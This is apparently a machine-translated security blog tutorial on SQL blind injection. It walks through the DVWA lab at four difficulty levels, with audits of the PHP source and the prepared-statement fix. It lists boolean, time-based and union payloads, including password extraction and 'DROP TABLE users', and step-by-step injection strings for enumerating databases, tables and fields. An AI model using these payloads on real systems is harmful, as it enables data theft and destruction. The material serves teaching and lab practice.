[Network Security] SQL Blind Injection? this one is enough

What is blind SQL injection

SQL Injection (Blind) is a common security vulnerability that allows an attacker to execute malicious SQL queries into an application's database.

In a traditional SQL injection attack, the attacker can directly obtain the database error message or query result returned by the application, so as to know whether the malicious SQL statement they injected is effective. But in blind injection, the attacker cannot directly obtain this information, so it is called "blind injection".

In a blind injection attack, the attacker constructs a malicious injection statement and passes its input to the application for processing. The attacker then observes the application's response or other visible behavior to determine if the injection was successful, and further probes and exploits the data in the database.

The main form of blind injection

盲注的两种主要形式是:

  1. Boolean-based Blind Injection (Boolean-based Blind Injection): By injecting conditional statements, the attacker exploits the judgment based on Boolean conditions in the application to obtain information about the contents of the database. An attacker can try different conditions and verify correctness based on the application's response. The page will return an error message

  2. Time-based Blind Injection (Time-based Blind Injection): The attacker uses a delay function or calculates a time-consuming operation in the injection statement to 观察应用程序对恶意查询的处理时间. By observing changes in response time, an attacker can gradually infer the data in the database. The page will not return any error message
    Time-based blind injection usually uses some operations that may cause delays or errors, such as睡眠函数sleep()、错误的 SQL 语句或其他耗时的操作。

Common Payloads of SQL Blind Injection

Based on Boolean blind injection Payload:

  1. id=1 AND (SELECT COUNT(*) FROM users) > 0
  2. id=1 AND SUBSTRING((SELECT version()), 1, 1) = '5'
  3. id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
  4. id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10
  5. id=1 AND LENGTH((SELECT database())) = 6

Time-based blind injection Payload:

  1. id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL)
  2. id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
  3. id=1; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='public' AND table_name='users'), BENCHMARK(5000000, SHA1('a')), NULL)
  4. id=1; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 5, SLEEP(2), NULL)
  5. id=1; IF((SELECT SUM(LENGTH(username)) FROM users) > 20, BENCHMARK(3000000, MD5('a')), NULL)

The error is based on the blind injection Payload:

  1. id=1 UNION ALL SELECT 1,2,table_name FROM information_schema.tables
  2. id=1 UNION ALL SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users'
  3. id=1 UNION ALL SELECT username,password,3 FROM users
  4. id=1'; SELECT * FROM users WHERE username='admin' --
  5. id=1'; DROP TABLE users; --

This article uses Boolean blind injection and time blind injection combined with DVWA's SQL Injection Blind for example explanation

因知识点较多且姿势复杂,致使篇幅过长,请读者耐心学习。


Low level

insert image description here

source code

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
    
    
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
    
    
                try {
    
    
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
    
    
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
    
    
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
    
    
                $exists = false;
            }

            break;
    }

    if ($exists) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?> 

The main logic of the code is as follows:

  1. First, the code checks to see if a GET request parameter named "Submit" was received to determine if the user submitted the form.

  2. If the form is submitted, get the ID entered by the user and set the "exists" variable to false.

  3. Depending on the configured database type (it can be MySQL or SQLite), the code will construct different query statements.

  4. For the MySQL database, the code executes the query using the mysqli library and checks whether the result is empty.

  5. For SQLite databases, the code executes the query using the sqlite3 library and checks that the returned result is non-null.

  6. If the query result is not empty, set the "exists" variable to true, indicating that the user ID exists in the database.

  7. If the "exists" variable is true, the message "User ID exists in the database." is displayed.

  8. If the "exists" variable is false, a 404 Not Found error header is sent and a "User ID is MISSING from the database." message is displayed.

When constructing the SQL query statement, the program directly uses the ID entered by the user without any validation or filtering. It is therefore possible to execute arbitrary SQL queries by entering malicious IDs.

Boolean Blind

Determine the type of injection

Input 1' or 1=1#, echo: User ID exists in the database.
Input 1' or 1=2#, echo: User ID is MISSING from the database.
It indicates that the injection type is character blind injection
. Guess the backend statement is:

SELECT first_name, last_name FROM users WHERE user_id = '参数';

Get the database name

Determine the length of the database name

Use length函数to determine the database name length

Construct the POC as follows:

1' and length(database())>20 #
//判断数据库名称长度是否大于20

length()is a common SQL function used to calculate the length of a string. It can be used with different database systems (such as MySQL, SQLite, Oracle, etc.).

The general syntax of this function is:

LENGTH(string)

where stringis the string or column name whose length needs to be calculated.

For example, in MySQL, you can use length()the function to calculate the length of a string as follows:

SELECT length('Hello World');  -- 输出 11
SELECT length(column_name) FROM table_name;  -- 计算表中某一列的长度

The echo is as follows:

insert image description here
It shows that the length of the database name is less than 20, so dichotomy thinking is used for judgment.

If you don't understand dichotomy, you can refer to: Baidu Encyclopedia: Dichotomy thinking and application

Construct the POC as follows:

1' and length(database())>10 #
//判断数据库名称长度是否大于10

The echo is as follows:

insert image description here
It shows that the length of the database name is less than 10, and after repeated attempts, the length of the database name is 4:

insert image description here

Get database name composition
1' and ascii(substr(database(),1,1))>20 # 

ascii(substr(database(),1,1)) is a function expression that extracts the first character of the database name and obtains its ASCII value.
substr(database(),1,1) means to extract a character from the database name, and the parameter 1,1 means that the extraction position is 1 and the length is 1.
>用于判断左侧的值是否大于右侧的值

insert image description hereIt can be seen from the echo that the ASCII code of the first character of the database name is greater than 20

1' and ascii(substr(database(),1,1))<101 #  
//经测试 回显exist

1' and ascii(substr(database(),1,1))>100 #
//经测试 回显exist  

Therefore, the ASCII code of the first character of the database name is 100, namelyd

Similarly, the ASCII values ​​​​of the second character, the third character, and the fourth character can be inferred

1' and ascii(substr(database(),2,1)) 判断表达式 #  
1' and ascii(substr(database(),3,1)) 判断表达式 #  
1' and ascii(substr(database(),4,1)) 判断表达式 #  

get the database name asdvwa

get table name

由于一个数据库可能存在多个表名,故先判断表个数。

Judgment table number

Construct the POC as follows:

1' and (select count(table_name) from information_schema.tables where table_schema=database()) <10#

count(table_name) is an aggregate function used to count the number of rows (that is, the number of tables) that meet a certain condition.

The echo is as follows:

insert image description hereAfter continuous testing, the number of tables is2

Get table name length

Determine the length of the first table name

Construct the POC as follows:

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 #

(select table_name from information_schema.tables where table_schema=database() limit 0,1) is a subquery to select the first table name from the information schema.
limit 0,1 is used to limit returning only the first result.
length(…) returns the length of the extracted string.

The echo is as follows:

insert image description here

Constantly test that the length of the first table name is9

Similarly, the length of the second table name obtained from the following statement is5

1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) =5 #

limit 1,1 is used to limit only the second result to be returned

insert image description here

Get table name composition

Determine the composition of the first table name

Construct the POC as follows:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #     

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 is a subquery to compare the ASCII value of the first character of the first table name in the database.

select table_name from information_schema.tables where table_schema=database() limit 0,1 is a subquery to get the first table name in the database from the information schema.
substr(…,1,1) is used to extract the first character of the string.
ascii(…) is a function that gets the ASCII value of a given character.

The echo is as follows:

insert image description here
After continuous testing, the statement returns exists:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #     

insert image description here
Similarly, the ASCII values ​​​​of the second character, the third character to the ninth character can be inferred

//第二个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))判断表达式 #   

//第三个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))判断表达式 #   

//第四个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))判断表达式 #   

//以此类推

Eventually reaching the first table name to form guestbook

Determine the composition of the second table name

It is known from the above that the length of the second table name is5

As above, judge the composition of the second table name:

//第一个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))判断表达式 #     

//第二个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #     

//第三个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #     

As shown in the figure below, the first character isu

insert image description here
You end up with a second table name consisting ofusers

get column names

表中可能存在多列,故先获取列数。

Get the number of columns
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')判断表达式 # 

Take for users表example

enter:

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 

insert image description here
Echo exists, indicating that usersthe table has 8columns

Get the column name length
//判断第一个列名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))判断表达式 #

//判断第二个列名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))判断表达式 #

insert image description here
From the figure above, we can see that the length of the first column name is7

Get the character composition of the column name

//获取 users 表中第一个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))判断表达式 #

//获取 users 表中第二个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))判断表达式 #

//获取 users 表中第三个列名的第一个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),1,1))判断表达式 #

//获取 users 表中第三个列名的第二个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))判断表达式 #

//获取 users 表中第三个列名的第三个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),3,1))判断表达式 #

insert image description hereAs can be seen from the figure above, the first character of the first column name in usersthe table isu

get field

It is not difficult to get from the above that one of the columns in usersthe table is nameduser

Get field length
//获取列中第一个字段长度
1' and length(substr((select user from users limit 0,1),1))判断表达式 #

//获取列中第二个字段长度
1' and length(substr((select user from users limit 1,1),1))判断表达式 #

insert image description here
From the figure above, the length of the first field can be obtained as5

get field
//获取第一个字段的第一个字符
1' and ascii(substr((select user from users limit 0,1),1,1))判断表达式 #

//获取第一个字段的第二个字符
1' and ascii(substr((select user from users limit 0,1),2,1))判断表达式 #

//获取第二个字段的第一个字符
1' and ascii(substr((select user from users limit 1,1),1,1))判断表达式 #

//获取第二个字段的第二个字符
1' and ascii(substr((select user from users limit 1,1),2,1))判断表达式 #

//以此类推

As shown in the figure below, the first character of the first field isa

insert image description here

So far, the detailed analysis of the Boolean blind injection attack posture and problem solving of SQL has been completed, and then the time blind injection is analyzed.


time blind

Determine the type of injection

enter

1' and sleep(5) #

Discovery time delay

enter

1 and sleep(5) #

The time has not been delayed, indicating that no closing single quotation mark will cause a statement error,
so the backend is a single quotation mark character query

Get the database name

Determine the length of the database name

enter

1' and if(length(database())=1,sleep(5),1) 

if(expr1,expr2,expr3)函数:

If expr1 is TRUE, the return value of if() is expr2; otherwise, the return value is expr3.
if() returns a numeric value or a string value

After entering the above statement, the page is not delayed, indicating length(database())=1that it is false

1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟

Indicates that the database name length is4

Determine the composition of the database name

To judge the first character, enter

1' and if(ascii(substr(database(),1,1))>90,sleep(5),1)#

The page delay is obvious, indicating that the ASCII value of the first character is greater than 90

enter

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#

The page delay is obvious, indicating that the first character isd

in the same way

//判断第二个字符
1' and if(ascii(substr(database(),2,1))判断表达式,sleep(5),1)#

//判断第三个字符
1' and if(ascii(substr(database(),3,1))判断表达式,sleep(5),1)#

//判断第四个字符
1' and if(ascii(substr(database(),4,1))判断表达式,sleep(5),1)#

Finally, the database nameddvwa

get table name

由于一个数据库可能有多个表,故先判断表个数。

Judgment table number

enter

1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) 

The page delay is obvious, indicating that the number of tables is2

Get table name length

Get the first table name length:

enter

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) #

The delay is obvious, indicating that the length of the first table name is9

in the same way

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5,sleep(5),1) #

The second table name length is5

Get table name composition

Take the name composition of the first table as an example:
Enter the following statement to get the first character of the first table name:

1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) >= 100 and sleep(5)#

The page delay is obvious, indicating that the ASCII value of the first character is greater than or equal to 100

1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) = 103 and sleep(5)#

The delay is noticeable, indicating that the first character of the first table name isg

//获得第一个表名称的第二个字符
1' and (select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#

//获得第一个表名称的第三个字符
1' and (select ascii(substr(table_name, 3, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#

and end up with the first table name asguestbook

//获得第二个表名称的第一个字符
1' and (select ascii(substr(table_name, 1, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#

//获得第二个表名称的第二个字符
1' and (select ascii(substr(table_name, 2, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#

//获得第二个表名称的第三个字符
1' and (select ascii(substr(table_name, 3, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)#

//以此类推

get column names

表中可能存在多列,故先获取列数。

Get the number of columns

Take guestbookthe table as an example

enter

1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'guestbook')=3,sleep(5),1) # 

The delay is obvious, indicating that the number of columns is3

Get the column name length

Get the length of the first column name

1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))判断表达式,sleep(5),1) #

enter:

1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))=10,sleep(5),1) #

The delay is obvious, indicating that the length of the first column name is10

//获取第二列名称长度
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 1,1),1))判断表达式,sleep(5),1) #

Get the character composition of the column name

Take guestbookthe table as an example

Get the first character of the first column name

1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #

It is verified that the ASCII value of the first character of the first column name is 99, i.e.c

//获取第一个列名的第二个字符
1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #

//获取第一个列名的第三个字符
1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #

//获取第二个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #

//获取第二个列名的第二个字符
1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #

//获取第二个列名的第三个字符
1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) #

//获取第三个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 2,1) = ASCII_VALUE, sleep(5), 1) #

get field

usersTake userthe column names of the table as an example

Get the first character of the first field of userthe column name

1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #

enter:

1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)=117, sleep(5), 1) #

The delay is obvious, indicating that the first character of the first field of userthe column name isu

//获取 user 列名的第一个字段的第二个字符
1' and if((select ascii(substring(column_name, 2, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #

//获取 user 列名的第一个字段的第三个字符
1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #

------------

//获取 user 列名的第二个字段的第一个字符
1' and if((SELECT ASCII(SUBSTRING(column_name, 1, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) #

//获取 user 列名的第二个字段的第二个字符
1' and if((SELECT ASCII(SUBSTRING(column_name, 2, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) #

//获取 user 列名的第二个字段的第三个字符
1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 1,1)判断表达式, sleep(5), 1) #

Since then, the detailed analysis of SQL time blind attack posture and problem solving has been completed.

Medium level

insert image description here

source code

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
    
    
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
    
    
                try {
    
    
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
    
    
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
    
    
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
    
    
                $exists = false;
            }
            break;
    }

    if ($exists) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
    
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?> 

code audit

  1. First, the code checks to see if there is a form submission named Submit. If present, the user has submitted the form data.

  2. Next, the code takes the ID entered by the user and saves it $idin .

  3. The code performs different query operations according to the configured database type through the switch statement. Two database types are included here: MYSQL and SQLITE.

  4. For the MYSQL database type, the code first escapes the input ID, and uses mysqli_real_escape_stringthe function escape special characters in the string, including single quotation marks. Then, build a query that retrieves the "first_name" and "last_name" fields of records with a matching "user_id" from the table named "users". Query statements are stored in $queryvariables .

  5. The code executes the query using mysqli_querythe function and saves the result $resultin the variable .

  6. If the query result is not false, try to get the row count of the query result and $existsset to true, indicating that there is a user record in the database matching the provided ID.

  7. For the SQLITE database type, the code uses the global variable $sqlite_db_connectionto connect to the SQLite database. Then, perform a query operation similar to MYSQL and save the result $resultsin .

  8. Finally, provide feedback to the end user based on the value $existsof . $existsIf true, "User ID exists in the database." is displayed, otherwise "User ID is MISSING from the database." is displayed.

attacking pose

Capture packets:

insert image description here
Since characters like single quotes are escaped, consider 数字型注入either宽字节注入

POST: Submit=Submit & id=1 and 1=1 # Note: If the id test is placed before &, # will comment Submit, which will not achieve the effect of POST submission

insert image description here
echo exists

POST:Submit=Submit & id=1 and 1=2 #

insert image description here
The echo of Missing
indicates that the injection type is 数字型盲注
guessed as the backend statement:

SELECT first_name, last_name FROM users WHERE user_id = 参数;

The subsequent steps are the same as the Low level , which Burpcan be used for testing Hackbaror penetration attacks, so this article will not repeat them.

High level

source code

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    
    
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
    
    
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
    
    
                // Get results
                try {
    
    
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
    
    
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
    
    
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
    
    
                $exists = false;
            }

            break;
    }

    if ($exists) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
    
    
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?> 

code audit

  1. First, the code checks to see if the user provided an ID by checking for the existence of a cookie named "id".

  2. Next, the $id = $_COOKIE['id'];code saves the user-supplied ID $idinto a variable using .

  3. The code defines a Boolean variable $existsto indicate whether the ID exists in the database, initialized to false.

  4. Depending on the database type (MySQL or SQLite) specified in the configuration file, the code will execute different database queries.

  5. For the MySQL database, the code constructs a query statement $queryby inserting the ID provided by the user into the query statement. Then, use mysqli_query()the function to execute the query and save the result $resultin the variable .

  6. If the query result is not false, try to get the number of rows of the query result, and $existsset to whether the number of rows is greater than 0. Get the number of rows in the result set via mysqli_num_rows()the function and compare the result to 0.

  7. For SQLite databases, the code first gets the global variable $sqlite_db_connection, which is an SQLite database connection object. Then, build a query statement $queryand query by inserting the ID provided by the user into the query statement. Next, use $sqlite_db_connection->query($query)to execute the query and save the result to the variable $results. Finally, set the boolean variable by checking $rowif is .false$exists

  8. If $existsit is true, print out the prompt information of “User ID exists in the database.”.

  9. If $existsyes false, then depending on the logic of your code, sleep()the function to suspend execution for a random amount of time. Used to prevent time blind injection Then, set the HTTP response header to "404 Not Found" and print out the prompt message "User ID is MISSING from the database.".

attacking pose

insert image description here

insert image description here
As can be seen from the above two figures, the injection type is character SQL blind injection

The injection posture is the same as above and will not be repeated here.

Attached below:

Determine the length of the database name:

insert image description here
Judgment table number:

insert image description here

Impossible level

source code

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
    
    
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
    
    
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
    
    
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
    
    
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

code audit

  1. First, the code checks to see if the form has been submitted by checking for a GET parameter named "Submit".

  2. Next, the code calls checkToken()the function to validate the anti-CSRF token. The $_REQUEST['user_token']function $_SESSION['session_token']compares the values ​​of and to ensure that the request is legitimate. 'index.php' is the reference value passed when generating the token.

  3. The code then initializes existsthe variable to false, which is used to record whether the ID exists in the database.

  4. Obtain the ID entered by the user $_GET['id']through .

  5. Use is_numeric()the function to check if the ID entered by the user is a number. If it is a number, it is converted to an integer type (using intval()the function ), and processed further.

  6. Depending on the database type (for example, MySQL or SQLite) defined in the configuration file, the code executes different queries according to the corresponding database type.

  7. For MySQL databases, the code uses Prepared Statements to execute queries. First, prepare the query statement using prepare()the function , where :idis a placeholder. Then, use bindParam()the function to bind the real ID value to the placeholder, and specify the type of the parameter as an integer. Finally, call execute()the function to execute the query, and use rowCount()the function to get the number of rows in the result set.

  8. For the SQLite database, the code first obtains the global variable $sqlite_db_connection, which is an SQLite database connection object. Then, prepare the query statement using prepare()the function , where :idis a placeholder. Next, use bindValue()the function to bind the real ID value to the placeholder, and specify the type of the parameter as an SQLite integer. Then, call execute()the function to execute the query, and fetchArray()get the result array through the function. Finally, determine whether there is a matching record by comparing the values ​​in the resulting array.

  9. If there is a record that meets the conditions (ie $existsis true), the prompt message "User ID exists in the database." will be printed out.

  10. If there is no eligible record (that is, $existsis false), set the HTTP response header to "404 Not Found" and print out the prompt message "User ID is MISSING from the database.".

  11. Finally, the code calls generateSessionToken()the function to generate a new anti-CSRF token for the next request.

This code validates the CSRF token, checks and converts the ID entered by the user, uses the is_numeric() function to perform basic validation of the user input, and effectively prevents SQL injection attacks.

Summarize

In this article, we delved into theThe concept of SQL blind injection attackprincipleandCommon Injection Payload Examples. Combined with DVWA靶场SQL Injection (Blind)模块the analysis of ideas and detailed explanations of attacking postures . SQL blind injection attack is a relatively complex penetration posture, and readers are expected to practice it.

I am Qiu said , see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/131237354